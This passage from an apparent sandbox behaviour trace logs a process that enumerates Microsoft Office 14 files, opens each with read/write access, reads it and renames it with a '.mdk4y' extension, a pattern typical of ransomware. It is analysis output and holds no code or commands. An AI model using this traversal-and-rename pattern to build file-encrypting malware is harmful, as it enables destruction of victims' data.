lpPerformanceCount=0x37dee4*=1826972800000) returned 1 [0194.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.mdk4y")) returned 1 [0194.508] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.508] AreFileApisANSI () returned 1 [0194.508] GetACP () returned 0x4e4 [0194.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUB6INTL.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PUB6INTL.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0194.508] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826974000000) returned 1 [0194.510] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0194.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826980300000) returned 1 [0194.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826980300000) returned 1 [0194.583] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.mdk4y")) returned 1 [0194.585] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.585] AreFileApisANSI () returned 1 [0194.585] GetACP () returned 0x4e4 [0194.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUB6INTL.DLL.IDX_DLL", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PUB6INTL.DLL.IDX_DLLXK", lpUsedDefaultChar=0x37df4c) returned 20 [0194.585] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826981600000) returned 1 [0194.586] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10980, lpOverlapped=0x0) returned 1 [0194.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826985400000) returned 1 [0194.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826985400000) returned 1 [0194.625] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.mdk4y")) returned 1 [0194.626] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.627] AreFileApisANSI () returned 1 [0194.627] GetACP () returned 0x4e4 [0194.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUB6INTL.REST.IDX_DLL", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PUB6INTL.REST.IDX_DLLK", lpUsedDefaultChar=0x37df4c) returned 21 [0194.627] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826986100000) returned 1 [0194.631] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x41b80, lpOverlapped=0x0) returned 1 [0194.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826990200000) returned 1 [0194.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826990200000) returned 1 [0194.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.mdk4y")) returned 1 [0194.678] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.678] AreFileApisANSI () returned 1 [0194.678] GetACP () returned 0x4e4 [0194.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUBCOLOR.SCM", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PUBCOLOR.SCMT.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0194.678] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826990900000) returned 1 [0194.679] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6e00, lpOverlapped=0x0) returned 1 [0194.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826991000000) returned 1 [0194.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826991000000) returned 1 [0194.680] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.mdk4y")) returned 1 [0194.681] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.681] AreFileApisANSI () returned 1 [0194.681] GetACP () returned 0x4e4 [0194.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUBFTSCM", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PUBFTSCM.SCM", lpUsedDefaultChar=0x37df4c) returned 8 [0194.681] AreFileApisANSI () returned 1 [0194.681] GetACP () returned 0x4e4 [0194.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\") returned 57 [0194.699] AreFileApisANSI () returned 1 [0194.699] GetACP () returned 0x4e4 [0194.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0194.699] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0194.705] AreFileApisANSI () returned 1 [0194.705] GetACP () returned 0x4e4 [0194.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37dec0) returned 2 [0194.709] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0194.709] AreFileApisANSI () returned 1 [0194.709] GetACP () returned 0x4e4 [0194.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FONTSCHM.INI", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="FONTSCHM.INIg", lpUsedDefaultChar=0x37dec0) returned 12 [0194.709] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0194.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826994100000) returned 1 [0194.711] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xcb7, lpOverlapped=0x0) returned 1 [0194.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826994200000) returned 1 [0194.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826994200000) returned 1 [0194.712] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini.mdk4y")) returned 1 [0194.715] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0194.715] AreFileApisANSI () returned 1 [0194.716] GetACP () returned 0x4e4 [0194.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME01.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME01.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0194.716] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0194.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826994700000) returned 1 [0194.717] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1eea6, lpOverlapped=0x0) returned 1 [0194.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826998700000) returned 1 [0194.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826998700000) returned 1 [0194.759] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css.mdk4y")) returned 1 [0194.761] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0194.761] AreFileApisANSI () returned 1 [0194.761] GetACP () returned 0x4e4 [0194.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME02.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME02.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0194.761] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0194.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827002500000) returned 1 [0194.795] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1fbbe, lpOverlapped=0x0) returned 1 [0194.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827008400000) returned 1 [0194.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827008400000) returned 1 [0194.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css.mdk4y")) returned 1 [0194.857] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0194.857] AreFileApisANSI () returned 1 [0194.857] GetACP () returned 0x4e4 [0194.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME03.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME03.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0194.857] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0194.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827010900000) returned 1 [0194.879] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f024, lpOverlapped=0x0) returned 1 [0194.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827014000000) returned 1 [0194.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827014000000) returned 1 [0194.911] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css.mdk4y")) returned 1 [0194.912] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0194.912] AreFileApisANSI () returned 1 [0194.912] GetACP () returned 0x4e4 [0194.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME04.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME04.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0194.912] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0194.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827014300000) returned 1 [0194.913] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f4e2, lpOverlapped=0x0) returned 1 [0195.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827024700000) returned 1 [0195.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827024700000) returned 1 [0195.018] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css.mdk4y")) returned 1 [0195.019] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.020] AreFileApisANSI () returned 1 [0195.020] GetACP () returned 0x4e4 [0195.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME05.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME05.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.020] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827025000000) returned 1 [0195.020] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1edba, lpOverlapped=0x0) returned 1 [0195.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827025200000) returned 1 [0195.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827025200000) returned 1 [0195.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css.mdk4y")) returned 1 [0195.024] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.024] AreFileApisANSI () returned 1 [0195.024] GetACP () returned 0x4e4 [0195.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME06.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME06.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.024] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827025500000) returned 1 [0195.025] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f2da, lpOverlapped=0x0) returned 1 [0195.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827028900000) returned 1 [0195.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827028900000) returned 1 [0195.061] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css.mdk4y")) returned 1 [0195.062] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.062] AreFileApisANSI () returned 1 [0195.062] GetACP () returned 0x4e4 [0195.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME07.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME07.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.062] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827029400000) returned 1 [0195.064] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1ff56, lpOverlapped=0x0) returned 1 [0195.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827036700000) returned 1 [0195.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827036700000) returned 1 [0195.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css.mdk4y")) returned 1 [0195.140] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0195.140] AreFileApisANSI () returned 1 [0195.140] GetACP () returned 0x4e4 [0195.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME08.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME08.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0195.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0195.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827037100000) returned 1 [0195.141] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f998, lpOverlapped=0x0) returned 1 [0195.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827037200000) returned 1 [0195.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827037200000) returned 1 [0195.144] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css"), lpNewFileName="C:\\Program Files\\Microsoft 